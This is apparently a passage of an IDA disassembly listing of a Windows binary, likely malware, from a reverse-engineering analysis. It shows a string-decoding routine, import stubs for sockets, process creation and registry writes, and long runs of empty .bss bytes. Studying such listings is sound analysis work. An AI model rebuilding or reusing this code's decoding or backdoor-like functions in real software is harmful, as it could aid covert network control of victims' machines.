.text:00405401      loc_405401:                                     ; CODE XREF: sub_405366+B5*j
.text:00405401      mov     eax, edi
.text:00405403      add     eax, [ebp+var_C]
.text:00405406      add     byte ptr [eax], 7
.text:00405409      inc     edi
.text:0040540A      loc_40540A:                                     ; CODE XREF: sub_405366+99*j
.text:0040540A      mov     eax, [ebp+var_C]
.text:0040540D      lea     ecx, [eax]
.text:0040540F      or      eax, 0FFFFFFFFh
.text:00405412      loc_405412:                                     ; CODE XREF: sub_405366+B1*j
.text:00405412      inc     eax
.text:00405413      cmp     byte ptr [ecx+eax], 0
.text:00405417      jnz     short loc_405412
.text:00405419      cmp     edi, eax
.text:0040541B      jb      short loc_405401
.text:0040541D      mov     eax, [ebp+var_C]
.text:00405420      lea     ecx, [eax]
.text:00405422      or      eax, 0FFFFFFFFh
.text:00405425      loc_405425:                                     ; CODE XREF: sub_405366+C4*j
.text:00405425      inc     eax
.text:00405426      cmp     byte ptr [ecx+eax], 0
.text:0040542A      jnz     short loc_405425
.text:0040542C      push   0
.text:0040542E      movsx  eax, ax
.text:00405431      push   eax
.text:00405432      push   [ebp+var_C]
.text:00405435      call   sub_404E78
.text:0040543A      add     esp, 0Ch
.text:0040543D      mov     esi, [ebp+var_10]
.text:00405440      mov     ebx, [ebp+var_14]
.text:00405443      jmp     loc_40551E
.text:00405448      ; -----
.text:00405448      loc_405448:                                     ; CODE XREF: sub_405366+1BB*j
.text:00405448      xor     edi, edi
.text:0040544A      mov     [ebp+var_8], edi
.text:0040544D      mov     [ebp+var_4], edi
.text:00405450      xor     edi, edi
.text:00405452      loc_405452:                                     ; CODE XREF: sub_405366+109*j
.text:00405452      lea     eax, [esi]
.text:00405454      mov     esi, eax
.text:00405456      inc     esi
.text:00405457      movsx  eax, byte ptr [eax]
.text:0040545A      push   eax
.text:0040545B      call   sub_40517A
.text:00405460      pop     ecx
.text:00405461      imul  ecx, edi, 6

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.text:00405464      mov     edx, eax
.text:00405466      shl     edx, cl
.text:00405468      or     [ebp+var_8], edx
.text:0040546B      inc     edi
.text:0040546C      cmp     edi, 6
.text:0040546F      jl     short loc_405452
.text:00405471      xor     edi, edi
.text:00405473      loc_405473:                                     ; CODE XREF: sub_405366+12C•j
.text:00405473      lea     eax, [esi]
.text:00405475      mov     esi, eax
.text:00405477      inc     esi
.text:00405478      movsx  eax, byte ptr [eax]
.text:0040547B      push   eax
.text:0040547C      call   sub_40517A
.text:00405481      add     esp, 4
.text:00405484      imul   ecx, edi, 6
.text:00405487      mov     edx, eax
.text:00405489      shl     edx, cl
.text:0040548B      or     [ebp+var_4], edx
.text:0040548E      inc     edi
.text:0040548F      cmp     edi, 6
.text:00405492      jl     short loc_405473
.text:00405494      lea     eax, [ebp+var_8]
.text:00405497      push   eax
.text:00405498      lea     eax, [ebp+var_4]
.text:0040549B      push   eax
.text:0040549C      call   sub_404940
.text:004054A1      add     esp, 8
.text:004054A4      xor     edi, edi
.text:004054A6      loc_4054A6:                                     ; CODE XREF: sub_405366+179•j
.text:004054A6      lea     eax, [ebx]
.text:004054A8      mov     [ebp+var_18], eax
.text:004054AB      mov     ebx, eax
.text:004054AD      inc     ebx
.text:004054AE      mov     edx, 3
.text:004054B3      sub     edx, edi
.text:004054B5      shl     edx, 3
.text:004054B8      mov     ecx, [ebp+var_4]
.text:004054BB      mov     [ebp+var_1C], ecx
.text:004054BE      mov     eax, 0FFh
.text:004054C3      mov     ecx, edx
.text:004054C5      shl     eax, cl
.text:004054C7      mov     ecx, [ebp+var_1C]
.text:004054CA      and     ecx, eax
.text:004054CC      mov     [ebp+var_20], ecx
.text:004054CF      mov     ecx, edx
.text:004054D1      mov     edx, [ebp+var_20]
.text:004054D4      shr     edx, cl
.text:004054D6      mov     ecx, [ebp+var_18]
.text:004054D9      mov     [ecx], dl
.text:004054DB      inc     edi
.text:004054DC      cmp     edi, 4
.text:004054DF      jl     short loc_4054A6
.text:004054E1      xor     edi, edi
.text:004054E3      loc_4054E3:                                     ; CODE XREF: sub_405366+1B6•j
.text:004054E3      lea     eax, [ebx]
.text:004054E5      mov     [ebp+var_24], eax
.text:004054E8      mov     ebx, eax
.text:004054EA      inc     ebx
.text:004054EB      mov     edx, 3
.text:004054F0      sub     edx, edi
.text:004054F2      shl     edx, 3
.text:004054F5      mov     ecx, [ebp+var_8]
.text:004054F8      mov     [ebp+var_28], ecx
.text:004054FB      mov     eax, 0FFh
.text:00405500      mov     ecx, edx
.text:00405502      shl     eax, cl

```

```

.text:00405504      mov     ecx, [ebp+var_28]
.text:00405507      and     ecx, eax
.text:00405509      mov     [ebp+var_2C], ecx
.text:0040550C      mov     ecx, edx
.text:0040550E      mov     edx, [ebp+var_2C]
.text:00405511      shr     edx, cl
.text:00405513      mov     ecx, [ebp+var_24]
.text:00405516      mov     [ecx], dl
.text:00405518      inc     edi
.text:00405519      cmp     edi, 4
.text:0040551C      jl      short loc_4054E3
.text:0040551E
.text:0040551E      loc_40551E:      ; CODE XREF: sub_405366+DD*j
.text:0040551E      cmp     byte ptr [esi], 0
.text:00405521      jnz     loc_405448
.text:00405521      mov     byte ptr [ebx], 0
.text:00405527      mov     [ebp+var_C], 0
.text:0040552A      push   [ebp+var_C]
.text:0040552D      call   free
.text:00405532      push   [ebp+var_10]
.text:00405535      call   free
.text:0040553A      add     esp, 8
.text:0040553D      mov     eax, [ebp+var_14]
.text:00405540      pop     edi
.text:00405541      pop     esi
.text:00405542      pop     ebx
.text:00405543      leave
.text:00405544      retn
.text:00405544      sub_405366      endp
.text:00405544      ; -----
.text:00405545      align 4
.text:00405548      ; [00000006 BYTES: COLLAPSED FUNCTION WSACleanup. PRESS KEYPAD "+" TO EXPAND]
.text:0040554E      dd     9090h
.text:00405552      align 4
.text:00405554      ; [00000006 BYTES: COLLAPSED FUNCTION WSASStartup. PRESS KEYPAD "+" TO EXPAND]
.text:0040555A      align 8
.text:00405560      ; [00000006 BYTES: COLLAPSED FUNCTION accept. PRESS KEYPAD "+" TO EXPAND]
.text:00405566      dd     9090h
.text:0040556A      align 4
.text:0040556C      ; [00000006 BYTES: COLLAPSED FUNCTION bind. PRESS KEYPAD "+" TO EXPAND]
.text:00405572      align 8
.text:00405578      ; [00000006 BYTES: COLLAPSED FUNCTION closesocket. PRESS KEYPAD "+" TO EXPAND]
.text:0040557E      dd     9090h
.text:00405582      align 4
.text:00405584      ; [00000006 BYTES: COLLAPSED FUNCTION connect. PRESS KEYPAD "+" TO EXPAND]
.text:0040558A      align 8
.text:00405590      ; [00000006 BYTES: COLLAPSED FUNCTION gethostbyname. PRESS KEYPAD "+" TO EXPAND]
.text:00405596      dd     9090h
.text:0040559A      align 4
.text:0040559C      ; [00000006 BYTES: COLLAPSED FUNCTION htons. PRESS KEYPAD "+" TO EXPAND]
.text:004055A2      align 8
.text:004055A8      ; [00000006 BYTES: COLLAPSED FUNCTION inet_addr. PRESS KEYPAD "+" TO EXPAND]
.text:004055AE      dd     9090h
.text:004055B2      align 4
.text:004055B4      ; [00000006 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND]
.text:004055BA      align 8
.text:004055C0      ; [00000006 BYTES: COLLAPSED FUNCTION ioctlsocket. PRESS KEYPAD "+" TO EXPAND]
.text:004055C6      dd     9090h
.text:004055CA      align 4
.text:004055CC      ; [00000006 BYTES: COLLAPSED FUNCTION listen. PRESS KEYPAD "+" TO EXPAND]
.text:004055D2      align 8
.text:004055D8      ; [00000006 BYTES: COLLAPSED FUNCTION recv. PRESS KEYPAD "+" TO EXPAND]
.text:004055DE      dd     9090h
.text:004055E2      align 4
.text:004055E4      ; [00000006 BYTES: COLLAPSED FUNCTION send. PRESS KEYPAD "+" TO EXPAND]
.text:004055EA      align 8
.text:004055F0      ; [00000006 BYTES: COLLAPSED FUNCTION sendto. PRESS KEYPAD "+" TO EXPAND]
.text:004055F6      dd     9090h
.text:004055FA      align 4
.text:004055FC      ; [00000006 BYTES: COLLAPSED FUNCTION socket. PRESS KEYPAD "+" TO EXPAND]

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```

.text:00405602          align 8
.text:00405608
.text:00405608 ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00405608
.text:00405608 sub_405608          proc near          ; CODE XREF: .text:004012BA•p
.text:00405608                                     ; sub_4012C6+74•p ...
.text:00405608 arg_0              = dword ptr 4
.text:00405608 arg_4              = dword ptr 8
.text:00405608                 mov     edx, [esp+arg_4]
.text:0040560C                 xor     eax, eax
.text:0040560E                 mov     ecx, 0FFFFFFFh
.text:00405613                 xchg   edi, edx
.text:00405615                 repne  scasb
.text:00405617                 neg     ecx
.text:00405619                 lea    ecx, [ecx-1]
.text:0040561C                 mov     eax, [esp+arg_4]
.text:00405620                 xchg   eax, esi
.text:00405621                 mov     edi, [esp+arg_0]
.text:00405625                 repe  movsb
.text:00405627                 xchg   eax, esi
.text:00405628                 xchg   edx, edi
.text:0040562A                 mov     eax, [esp+arg_0]
.text:0040562E                 retn   8
.text:0040562E sub_405608          endp
.text:0040562E ; -----
.text:00405631          align 4
.text:00405634 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND]
.text:0040563A          align 8
.text:00405640 ; [00000006 BYTES: COLLAPSED FUNCTION ExitThread. PRESS KEYPAD "+" TO EXPAND]
.text:00405646                 dd 9090h
.text:0040564A          align 4
.text:0040564C ; [00000006 BYTES: COLLAPSED FUNCTION GetExitCodeThread. PRESS KEYPAD "+" TO
EXPAND]
.text:00405652          align 8
.text:00405658 ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND]
.text:0040565E                 dd 9090h
.text:00405662          align 4
.text:00405664 ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemDirectoryA. PRESS KEYPAD "+" TO
EXPAND]
.text:0040566A          align 8
.text:00405670 ; [00000006 BYTES: COLLAPSED FUNCTION GetTickCount. PRESS KEYPAD "+" TO EXPAND]
.text:00405676                 dd 9090h
.text:0040567A          align 4
.text:0040567C ; [00000006 BYTES: COLLAPSED FUNCTION ResumeThread. PRESS KEYPAD "+" TO EXPAND]
.text:00405682          align 8
.text:00405688 ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
.text:0040568E                 dd 9090h
.text:00405692          align 4
.text:00405694 ; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
.text:0040569A          align 8
.text:004056A0 ; [00000006 BYTES: COLLAPSED FUNCTION SuspendThread. PRESS KEYPAD "+" TO EXPAND]
.text:004056A6                 dd 9090h
.text:004056AA          align 4
.text:004056AC ; [00000006 BYTES: COLLAPSED FUNCTION TerminateThread. PRESS KEYPAD "+" TO EXPAND]
.text:004056B2          align 8
.text:004056B8 ; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND]
.text:004056BE                 dd 9090h
.text:004056C2          align 4
.text:004056C4 ; [00000006 BYTES: COLLAPSED FUNCTION CreateThread. PRESS KEYPAD "+" TO EXPAND]
.text:004056CA          align 8
.text:004056D0 ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND]
.text:004056D6                 dd 9090h
.text:004056DA          align 4
.text:004056DC ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
.text:004056E2          align 8
.text:004056E8 ; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND]

```



```

.text:004056EE          dd 9090h
.text:004056F2          align 4
.text:004056F4 ; [00000006 BYTES: COLLAPSED FUNCTION __GetMainArgs. PRESS KEYPAD "+" TO EXPAND]
.text:004056FA          align 8
.text:00405700 ; [00000006 BYTES: COLLAPSED FUNCTION remove. PRESS KEYPAD "+" TO EXPAND]
.text:00405706          dd 9090h
.text:0040570A          align 4
.text:0040570C ; [00000006 BYTES: COLLAPSED FUNCTION _strcmpi. PRESS KEYPAD "+" TO EXPAND]
.text:00405712          align 8
.text:00405718 ; [00000006 BYTES: COLLAPSED FUNCTION atoi. PRESS KEYPAD "+" TO EXPAND]
.text:0040571E          dd 9090h
.text:00405722          align 4
.text:00405724 ; [00000006 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO EXPAND]
.text:0040572A          align 8
.text:00405730 ; [00000006 BYTES: COLLAPSED FUNCTION fclose. PRESS KEYPAD "+" TO EXPAND]
.text:00405736          dd 9090h
.text:0040573A          align 4
.text:0040573C ; [00000006 BYTES: COLLAPSED FUNCTION fopen. PRESS KEYPAD "+" TO EXPAND]
.text:00405742          align 8
.text:00405748 ; [00000006 BYTES: COLLAPSED FUNCTION fprintf. PRESS KEYPAD "+" TO EXPAND]
.text:0040574E          dd 9090h
.text:00405752          align 4
.text:00405754 ; [00000006 BYTES: COLLAPSED FUNCTION free. PRESS KEYPAD "+" TO EXPAND]
.text:0040575A          align 8
.text:00405760 ; [00000006 BYTES: COLLAPSED FUNCTION fscanf. PRESS KEYPAD "+" TO EXPAND]
.text:00405766          dd 9090h
.text:0040576A          align 4
.text:0040576C ; [00000006 BYTES: COLLAPSED FUNCTION fwrite. PRESS KEYPAD "+" TO EXPAND]
.text:00405772          align 8
.text:00405778 ; [00000006 BYTES: COLLAPSED FUNCTION malloc. PRESS KEYPAD "+" TO EXPAND]
.text:0040577E          dd 9090h
.text:00405782          align 4
.text:00405784 ; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
.text:0040578A          align 8
.text:00405790 ; [00000006 BYTES: COLLAPSED FUNCTION raise. PRESS KEYPAD "+" TO EXPAND]
.text:00405796          dd 9090h
.text:0040579A          align 4
.text:0040579C ; [00000006 BYTES: COLLAPSED FUNCTION rand. PRESS KEYPAD "+" TO EXPAND]
.text:004057A2          align 8
.text:004057A8 ; [00000006 BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND]
.text:004057AE          dd 9090h
.text:004057B2          align 4
.text:004057B4 ; [00000006 BYTES: COLLAPSED FUNCTION sprintf. PRESS KEYPAD "+" TO EXPAND]
.text:004057BA          align 8
.text:004057C0 ; [00000006 BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND]
.text:004057C6          dd 9090h
.text:004057CA          align 4
.text:004057CC ; [00000006 BYTES: COLLAPSED FUNCTION sscanf. PRESS KEYPAD "+" TO EXPAND]
.text:004057D2          align 8
.text:004057D8 ; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
.text:004057DE          dd 9090h
.text:004057E2          align 4
.text:004057E4 ; [00000006 BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND]
.text:004057EA          align 8
.text:004057F0 ; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
.text:004057F6          dd 9090h
.text:004057FA          align 4
.text:004057FC ; [00000006 BYTES: COLLAPSED FUNCTION strncpy. PRESS KEYPAD "+" TO EXPAND]
.text:00405802          align 8
.text:00405808 ; [00000006 BYTES: COLLAPSED FUNCTION strstr. PRESS KEYPAD "+" TO EXPAND]
.text:0040580E          dd 9090h
.text:00405812          align 4
.text:00405814 ; [00000006 BYTES: COLLAPSED FUNCTION strtoul. PRESS KEYPAD "+" TO EXPAND]
.text:0040581A          align 8
.text:0040581A _text          ends
.text:0040581A
.bss:00406000 ; Section 2. (virtual address 00006000)
.bss:00406000 ; Virtual size          : 000005BA ( 1466.)
.bss:00406000 ; Section size in file      : 00000000 ( 0.)
.bss:00406000 ; Offset to raw data for section: 00000000

```

```

.bss:00406000 ; Flags C0000080: Bss Readable Writable
.bss:00406000 ; Alignment      : 16 bytes ?
.bss:00406000 ; -----
.bss:00406000
.bss:00406000 ; Segment type: Uninitialized
.bss:00406000 _bss          segment para public 'BSS' use32
.bss:00406000          assume cs:_bss
.bss:00406000          ;org 406000h
.bss:00406000          assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00406000 unk_406000 db ? ; unexplored          ; DATA XREF: sub_40156D+B35•o
.bss:00406000          ; sub_4040AF+2C•o ...
.bss:00406001          db ? ; unexplored
.bss:00406002          db ? ; unexplored
.bss:00406003          db ? ; unexplored
.bss:00406004          db ? ; unexplored
.bss:00406005          db ? ; unexplored
.bss:00406006          db ? ; unexplored
.bss:00406007          db ? ; unexplored
.bss:00406008          db ? ; unexplored
.bss:00406009          db ? ; unexplored
.bss:0040600A          db ? ; unexplored
.bss:0040600B          db ? ; unexplored
.bss:0040600C          db ? ; unexplored
.bss:0040600D          db ? ; unexplored
.bss:0040600E          db ? ; unexplored
.bss:0040600F          db ? ; unexplored
.bss:00406010          db ? ; unexplored
.bss:00406011          db ? ; unexplored
.bss:00406012          db ? ; unexplored
.bss:00406013          db ? ; unexplored
.bss:00406014          db ? ; unexplored
.bss:00406015          db ? ; unexplored
.bss:00406016          db ? ; unexplored
.bss:00406017          db ? ; unexplored
.bss:00406018          db ? ; unexplored
.bss:00406019          db ? ; unexplored
.bss:0040601A          db ? ; unexplored
.bss:0040601B          db ? ; unexplored
.bss:0040601C          db ? ; unexplored
.bss:0040601D          db ? ; unexplored
.bss:0040601E          db ? ; unexplored
.bss:0040601F          db ? ; unexplored
.bss:00406020          db ? ; unexplored
.bss:00406021          db ? ; unexplored
.bss:00406022          db ? ; unexplored
.bss:00406023          db ? ; unexplored
.bss:00406024          db ? ; unexplored
.bss:00406025          db ? ; unexplored
.bss:00406026          db ? ; unexplored
.bss:00406027          db ? ; unexplored
.bss:00406028          db ? ; unexplored
.bss:00406029          db ? ; unexplored
.bss:0040602A          db ? ; unexplored
.bss:0040602B          db ? ; unexplored
.bss:0040602C          db ? ; unexplored
.bss:0040602D          db ? ; unexplored
.bss:0040602E          db ? ; unexplored
.bss:0040602F          db ? ; unexplored
.bss:00406030          db ? ; unexplored
.bss:00406031          db ? ; unexplored
.bss:00406032          db ? ; unexplored
.bss:00406033          db ? ; unexplored
.bss:00406034          db ? ; unexplored
.bss:00406035          db ? ; unexplored
.bss:00406036          db ? ; unexplored
.bss:00406037          db ? ; unexplored
.bss:00406038          db ? ; unexplored
.bss:00406039          db ? ; unexplored
.bss:0040603A          db ? ; unexplored
.bss:0040603B          db ? ; unexplored

```

```

.bss:0040603C db ? ; unexplored
.bss:0040603D db ? ; unexplored
.bss:0040603E db ? ; unexplored
.bss:0040603F db ? ; unexplored
.bss:00406040 db ? ; unexplored
.bss:00406041 db ? ; unexplored
.bss:00406042 db ? ; unexplored
.bss:00406043 db ? ; unexplored
.bss:00406044 db ? ; unexplored
.bss:00406045 db ? ; unexplored
.bss:00406046 db ? ; unexplored
.bss:00406047 db ? ; unexplored
.bss:00406048 db ? ; unexplored
.bss:00406049 db ? ; unexplored
.bss:0040604A db ? ; unexplored
.bss:0040604B db ? ; unexplored
.bss:0040604C db ? ; unexplored
.bss:0040604D db ? ; unexplored
.bss:0040604E db ? ; unexplored
.bss:0040604F db ? ; unexplored
.bss:00406050 db ? ; unexplored
.bss:00406051 db ? ; unexplored
.bss:00406052 db ? ; unexplored
.bss:00406053 db ? ; unexplored
.bss:00406054 db ? ; unexplored
.bss:00406055 db ? ; unexplored
.bss:00406056 db ? ; unexplored
.bss:00406057 db ? ; unexplored
.bss:00406058 db ? ; unexplored
.bss:00406059 db ? ; unexplored
.bss:0040605A db ? ; unexplored
.bss:0040605B db ? ; unexplored
.bss:0040605C db ? ; unexplored
.bss:0040605D db ? ; unexplored
.bss:0040605E db ? ; unexplored
.bss:0040605F db ? ; unexplored
.bss:00406060 db ? ; unexplored
.bss:00406061 db ? ; unexplored
.bss:00406062 db ? ; unexplored
.bss:00406063 db ? ; unexplored
.bss:00406064 db ? ; unexplored
.bss:00406065 db ? ; unexplored
.bss:00406066 db ? ; unexplored
.bss:00406067 db ? ; unexplored
.bss:00406068 db ? ; unexplored
.bss:00406069 db ? ; unexplored
.bss:0040606A db ? ; unexplored
.bss:0040606B db ? ; unexplored
.bss:0040606C db ? ; unexplored
.bss:0040606D db ? ; unexplored
.bss:0040606E db ? ; unexplored
.bss:0040606F db ? ; unexplored
.bss:00406070 db ? ; unexplored
.bss:00406071 db ? ; unexplored
.bss:00406072 db ? ; unexplored
.bss:00406073 db ? ; unexplored
.bss:00406074 db ? ; unexplored
.bss:00406075 db ? ; unexplored
.bss:00406076 db ? ; unexplored
.bss:00406077 db ? ; unexplored
.bss:00406078 db ? ; unexplored
.bss:00406079 db ? ; unexplored
.bss:0040607A db ? ; unexplored
.bss:0040607B db ? ; unexplored
.bss:0040607C db ? ; unexplored
.bss:0040607D db ? ; unexplored
.bss:0040607E db ? ; unexplored
.bss:0040607F db ? ; unexplored
.bss:00406080 db ? ; unexplored
.bss:00406081 db ? ; unexplored

```

```

.bss:00406082 db ? ; unexplored
.bss:00406083 db ? ; unexplored
.bss:00406084 db ? ; unexplored
.bss:00406085 db ? ; unexplored
.bss:00406086 db ? ; unexplored
.bss:00406087 db ? ; unexplored
.bss:00406088 db ? ; unexplored
.bss:00406089 db ? ; unexplored
.bss:0040608A db ? ; unexplored
.bss:0040608B db ? ; unexplored
.bss:0040608C db ? ; unexplored
.bss:0040608D db ? ; unexplored
.bss:0040608E db ? ; unexplored
.bss:0040608F db ? ; unexplored
.bss:00406090 db ? ; unexplored
.bss:00406091 db ? ; unexplored
.bss:00406092 db ? ; unexplored
.bss:00406093 db ? ; unexplored
.bss:00406094 db ? ; unexplored
.bss:00406095 db ? ; unexplored
.bss:00406096 db ? ; unexplored
.bss:00406097 db ? ; unexplored
.bss:00406098 db ? ; unexplored
.bss:00406099 db ? ; unexplored
.bss:0040609A db ? ; unexplored
.bss:0040609B db ? ; unexplored
.bss:0040609C db ? ; unexplored
.bss:0040609D db ? ; unexplored
.bss:0040609E db ? ; unexplored
.bss:0040609F db ? ; unexplored
.bss:004060A0 db ? ; unexplored
.bss:004060A1 db ? ; unexplored
.bss:004060A2 db ? ; unexplored
.bss:004060A3 db ? ; unexplored
.bss:004060A4 db ? ; unexplored
.bss:004060A5 db ? ; unexplored
.bss:004060A6 db ? ; unexplored
.bss:004060A7 db ? ; unexplored
.bss:004060A8 db ? ; unexplored
.bss:004060A9 db ? ; unexplored
.bss:004060AA db ? ; unexplored
.bss:004060AB db ? ; unexplored
.bss:004060AC db ? ; unexplored
.bss:004060AD db ? ; unexplored
.bss:004060AE db ? ; unexplored
.bss:004060AF db ? ; unexplored
.bss:004060B0 db ? ; unexplored
.bss:004060B1 db ? ; unexplored
.bss:004060B2 db ? ; unexplored
.bss:004060B3 db ? ; unexplored
.bss:004060B4 db ? ; unexplored
.bss:004060B5 db ? ; unexplored
.bss:004060B6 db ? ; unexplored
.bss:004060B7 db ? ; unexplored
.bss:004060B8 db ? ; unexplored
.bss:004060B9 db ? ; unexplored
.bss:004060BA db ? ; unexplored
.bss:004060BB db ? ; unexplored
.bss:004060BC db ? ; unexplored
.bss:004060BD db ? ; unexplored
.bss:004060BE db ? ; unexplored
.bss:004060BF db ? ; unexplored
.bss:004060C0 db ? ; unexplored
.bss:004060C1 db ? ; unexplored
.bss:004060C2 db ? ; unexplored
.bss:004060C3 db ? ; unexplored
.bss:004060C4 db ? ; unexplored
.bss:004060C5 db ? ; unexplored
.bss:004060C6 db ? ; unexplored
.bss:004060C7 db ? ; unexplored

```

```

.bss:004060C8      db ? ; unexplored
.bss:004060C9      db ? ; unexplored
.bss:004060CA      db ? ; unexplored
.bss:004060CB      db ? ; unexplored
.bss:004060CC      db ? ; unexplored
.bss:004060CD      db ? ; unexplored
.bss:004060CE      db ? ; unexplored
.bss:004060CF      db ? ; unexplored
.bss:004060D0      db ? ; unexplored
.bss:004060D1      db ? ; unexplored
.bss:004060D2      db ? ; unexplored
.bss:004060D3      db ? ; unexplored
.bss:004060D4      db ? ; unexplored
.bss:004060D5      db ? ; unexplored
.bss:004060D6      db ? ; unexplored
.bss:004060D7      db ? ; unexplored
.bss:004060D8      db ? ; unexplored
.bss:004060D9      db ? ; unexplored
.bss:004060DA      db ? ; unexplored
.bss:004060DB      db ? ; unexplored
.bss:004060DC      db ? ; unexplored
.bss:004060DD      db ? ; unexplored
.bss:004060DE      db ? ; unexplored
.bss:004060DF      db ? ; unexplored
.bss:004060E0      db ? ; unexplored
.bss:004060E1      db ? ; unexplored
.bss:004060E2      db ? ; unexplored
.bss:004060E3      db ? ; unexplored
.bss:004060E4      db ? ; unexplored
.bss:004060E5      db ? ; unexplored
.bss:004060E6      db ? ; unexplored
.bss:004060E7      db ? ; unexplored
.bss:004060E8      db ? ; unexplored
.bss:004060E9      db ? ; unexplored
.bss:004060EA      db ? ; unexplored
.bss:004060EB      db ? ; unexplored
.bss:004060EC      db ? ; unexplored
.bss:004060ED      db ? ; unexplored
.bss:004060EE      db ? ; unexplored
.bss:004060EF      db ? ; unexplored
.bss:004060F0      db ? ; unexplored
.bss:004060F1      db ? ; unexplored
.bss:004060F2      db ? ; unexplored
.bss:004060F3      db ? ; unexplored
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.bss:004060F5      db ? ; unexplored
.bss:004060F6      db ? ; unexplored
.bss:004060F7      db ? ; unexplored
.bss:004060F8      db ? ; unexplored
.bss:004060F9      db ? ; unexplored
.bss:004060FA      db ? ; unexplored
.bss:004060FB      db ? ; unexplored
.bss:004060FC      db ? ; unexplored
.bss:004060FD      db ? ; unexplored
.bss:004060FE      db ? ; unexplored
.bss:004060FF      db ? ; unexplored
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.bss:00406102      db ? ; unexplored
.bss:00406103      db ? ; unexplored
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.bss:00406105      db ? ; unexplored
.bss:00406106      db ? ; unexplored
.bss:00406107      db ? ; unexplored
.bss:00406108      db ? ; unexplored
.bss:00406109      db ? ; unexplored
.bss:0040610A      db ? ; unexplored
.bss:0040610B      db ? ; unexplored
.bss:0040610C      db ? ; unexplored
.bss:0040610D      db ? ; unexplored

```



```

.bss:004061E0      db ? ; unexplored
.bss:004061E1      db ? ; unexplored
.bss:004061E2      db ? ; unexplored
.bss:004061E3      db ? ; unexplored
.bss:004061E4      db ? ; unexplored
.bss:004061E5      db ? ; unexplored
.bss:004061E6      db ? ; unexplored
.bss:004061E7      db ? ; unexplored
.bss:004061E8      db ? ; unexplored
.bss:004061E9      db ? ; unexplored
.bss:004061EA      db ? ; unexplored
.bss:004061EB      db ? ; unexplored
.bss:004061EC      db ? ; unexplored
.bss:004061ED      db ? ; unexplored
.bss:004061EE      db ? ; unexplored
.bss:004061EF      db ? ; unexplored
.bss:004061F0      db ? ; unexplored
.bss:004061F1      db ? ; unexplored
.bss:004061F2      db ? ; unexplored
.bss:004061F3      db ? ; unexplored
.bss:004061F4      db ? ; unexplored
.bss:004061F5      db ? ; unexplored
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.bss:004061FC      db ? ; unexplored
.bss:004061FD      db ? ; unexplored
.bss:004061FE      db ? ; unexplored
.bss:004061FF      db ? ; unexplored
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.bss:0040620D      db ? ; unexplored
.bss:0040620E      db ? ; unexplored
.bss:0040620F      db ? ; unexplored
.bss:00406210      db ? ; unexplored
.bss:00406211      db ? ; unexplored
.bss:00406212      db ? ; unexplored
.bss:00406213      db ? ; unexplored
.bss:00406214      db ? ; unexplored
.bss:00406215      db ? ; unexplored
.bss:00406216      db ? ; unexplored
.bss:00406217      db ? ; unexplored
.bss:00406218      db ? ; unexplored
.bss:00406219      db ? ; unexplored
.bss:0040621A      db ? ; unexplored
.bss:0040621B      db ? ; unexplored
.bss:0040621C      db ? ; unexplored
.bss:0040621D      db ? ; unexplored
.bss:0040621E      db ? ; unexplored
.bss:0040621F      db ? ; unexplored
.bss:00406220      db ? ; unexplored
.bss:00406221      db ? ; unexplored
.bss:00406222      db ? ; unexplored
.bss:00406223      db ? ; unexplored
.bss:00406224      db ? ; unexplored
.bss:00406225      db ? ; unexplored

```



```

.bss:0040626C db ? ; unexplored
.bss:0040626D db ? ; unexplored
.bss:0040626E db ? ; unexplored
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.bss:004062AC db ? ; unexplored
.bss:004062AD db ? ; unexplored
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.bss:004062AF db ? ; unexplored
.bss:004062B0 db ? ; unexplored
.bss:004062B1 db ? ; unexplored

```

```

.bss:004062B2      db ? ; unexplored
.bss:004062B3      db ? ; unexplored
.bss:004062B4      db ? ; unexplored
.bss:004062B5      db ? ; unexplored
.bss:004062B6      db ? ; unexplored
.bss:004062B7      db ? ; unexplored
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.bss:004062BA      db ? ; unexplored
.bss:004062BB      db ? ; unexplored
.bss:004062BC      db ? ; unexplored
.bss:004062BD      db ? ; unexplored
.bss:004062BE      db ? ; unexplored
.bss:004062BF      db ? ; unexplored
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.bss:004062F4      db ? ; unexplored
.bss:004062F5      db ? ; unexplored
.bss:004062F6      db ? ; unexplored
.bss:004062F7      db ? ; unexplored

```

```

.bss:004062F8      db ? ; unexplored
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.bss:004062FE      db ? ; unexplored
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.bss:0040633B      db ? ; unexplored
.bss:0040633C      db ? ; unexplored
.bss:0040633D      db ? ; unexplored

```



```

.bss:00406384 db ? ; unexplored
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```

```

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.bss:004063CC db ? ; unexplored
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.bss:004063FE db ? ; unexplored
.bss:004063FF db ? ; unexplored
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; sub_4013F0+A5•o ...
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.bss:0040640D db ? ; unexplored
.bss:0040640E db ? ; unexplored

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.bss:00406493 db ? ; unexplored
.bss:00406494 db ? ; unexplored
.bss:00406495 db ? ; unexplored
.bss:00406496 dword_406496 dd ? ; DATA XREF: sub_404408+19•r
.bss:00406496 ; sub_404408+65•r ...
.bss:0040649A dword_40649A dd ? ; DATA XREF: sub_404408+29•r
.bss:0040649A ; sub_404408+79•r ...
.bss:0040649E db ? ; unexplored

```

```

.bss:0040649F      db ? ; unexplored
.bss:004064A0      db ? ; unexplored
